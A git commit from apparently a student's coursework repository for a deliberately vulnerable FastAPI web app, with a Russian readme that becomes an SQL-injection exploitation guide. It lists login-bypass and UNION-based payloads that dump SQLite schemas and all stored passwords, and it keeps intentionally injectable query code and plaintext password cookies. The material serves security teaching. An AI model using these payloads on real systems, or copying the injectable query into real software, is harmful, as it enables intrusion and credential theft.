removed unused endpoint

This commit is contained in:
2025-12-16 01:55:09 +10:00
parent a24c1f0957
commit 06900e2768
4 changed files with 118 additions and 17 deletions

View File

@@ -1,6 +1,6 @@
services: services:
vunerable-web-app: vunerable-web-app:
image: web-app:v0.0.1a image: kulesh_web-app:v0.0.1a
ports: ports:
- "80:8000" - "80:8000"
volumes: volumes:

6
cookies.txt Normal file
View File

@@ -0,0 +1,6 @@
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
localhost FALSE / FALSE 0 password a
localhost FALSE / FALSE 0 login "' or 1=1-- "

116
readme.md
View File

@@ -1,10 +1,112 @@
К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi|Uvicorn) # Kulesh_Web_app - Уязвимое веб-приложение
Это уязвимое веб-приложение создано для демонстрации SQL-инъекций и других веб-уязвимостей. Приложение написано на Python с использованием FastAPI.
**На сервере Web написать уязвимое веб-приложение Весь проект писать на рабочем столе в папке Фамилия_Web_app, где “Фамилия” - это ваша настоящая фамилия** ## Функциональность приложения
- ✅ Регистрация пользователей
- ✅ Авторизация пользователей
- ✅ Cookie-аутентификация
- ✅ Страница приветствия для авторизованных пользователей
- ✅ Docker-контейнеризация
## Сборка и запуск
### Сборка Docker-образа
```bash
docker build -t kulesh_web-app:v0.0.1a .
```
### Запуск приложения
```bash
docker compose up
```
Приложение будет доступно по адресу: http://localhost:8000
## Работа с CURL
### Регистрация пользователя Administrator
```bash
curl -X POST -d "login=Administrator&password=admin123" http://localhost:8000/register
```
### Регистрация пользователя Kulesh_AS
```bash
curl -X POST -d "login=kulesh_as&password=mypass123" http://localhost:8000/register
```
### Авторизация через CURL
```bash
curl -X POST -d "login=Administrator&password=admin123" -c cookies.txt http://localhost:8000/login
```
### Доступ к защищенной странице
```bash
curl -b cookies.txt http://localhost:8000/welcome
```
## ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ
### SQL-инъекция через форму авторизации
Приложение содержит критическую SQL-инъекцию в формах регистрации и авторизации. Уязвимый код:
```python
cursor.execute(f"SELECT * FROM users WHERE login='{login}' AND password='{password}'")
```
Данные пользователя напрямую подставляются в SQL-запрос без экранирования, что позволяет выполнять произвольные SQL-команды.
### Базовый обход аутентификации
**Payload для поля login:**
```sql
' OR 1=1--
```
**Поле password:** (любое значение)
Этот payload закомментирует проверку пароля и войдет как первый пользователь в базе.
### Извлечение информации о базе данных
#### 1. Получение списка подключенных файлов БД:
```sql
' UNION SELECT 1, group_concat(name || ':' || file), 3 FROM pragma_database_list --
```
#### 2. Получение списка пользовательских таблиц:
```sql
' UNION SELECT 1, group_concat(name), 3 FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' --
```
#### 3. Получение схем всех таблиц:
```sql
' UNION SELECT 1, group_concat(sql, char(10) || char(10)), 3 FROM sqlite_master WHERE type='table' --
```
#### 4. Извлечение всех пользователей и паролей:
```sql
' UNION SELECT id, login, password FROM users --
```
#### 5. Получение данных конкретного пользователя Administrator:
```sql
' UNION SELECT id, login, password FROM users WHERE login='Administrator' --
```
### Пошаговая эксплуатация
1. **Откройте форму входа:** http://localhost:8000/login
2. **Введите базовый payload для обхода аутентификации:**
- Login: `' OR 1=1--`
- Password: `test`
3. **Для извлечения данных используйте UNION-based инъекцию:**
- Login: `' UNION SELECT id, login, password FROM users --`
- Password: `test`
4. **В ответе на странице приветствия вы увидите данные всех пользователей**
1. Реализовать страницу регистрации пользователей **(1.5 балла)**
2. Реализовать страницу авторизации пользователей **(1.5 балла)**
3. Реализовать **Cookie (2 балла)**
4. Реализовать страницу **“приветствия пользователя”** (она должна выводить текст **“Привет, имя_пользователя”**) (Имя_пользователя, это переменная и должна равняться авторизованному пользователю), доступ на эту страницу только после авторизации **(2 балла)**
5. Обернуть готовое приложение в **Docker (3 балла)**

View File

@@ -125,7 +125,7 @@ async def welcome(request: Request):
if not login or not password: if not login or not password:
return RedirectResponse(url="/login") return RedirectResponse(url="/login")
cursor.execute( cursor.execute(
f"SELECT * FROM users WHERE login='{login}' AND password='{password}'" f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
) )
user = cursor.fetchall() user = cursor.fetchall()
if user: if user:
@@ -133,7 +133,7 @@ async def welcome(request: Request):
<html> <html>
<head><title>Добро пожаловать</title>{STYLES}</head> <head><title>Добро пожаловать</title>{STYLES}</head>
<body> <body>
<h1>Привет, {login}</h1> <h1>Привет, {user}</h1>
<button onclick=" <button onclick="
document.cookie = 'login=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;'; document.cookie = 'login=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
document.cookie = 'password=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;'; document.cookie = 'password=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
@@ -148,13 +148,6 @@ async def welcome(request: Request):
return RedirectResponse(url="/login") return RedirectResponse(url="/login")
@app.post("/logout")
async def logout():
response = RedirectResponse(url="/login", status_code=302)
response.delete_cookie("login")
response.delete_cookie("password")
return response
@app.get("/", include_in_schema=False) @app.get("/", include_in_schema=False)
async def root(): async def root():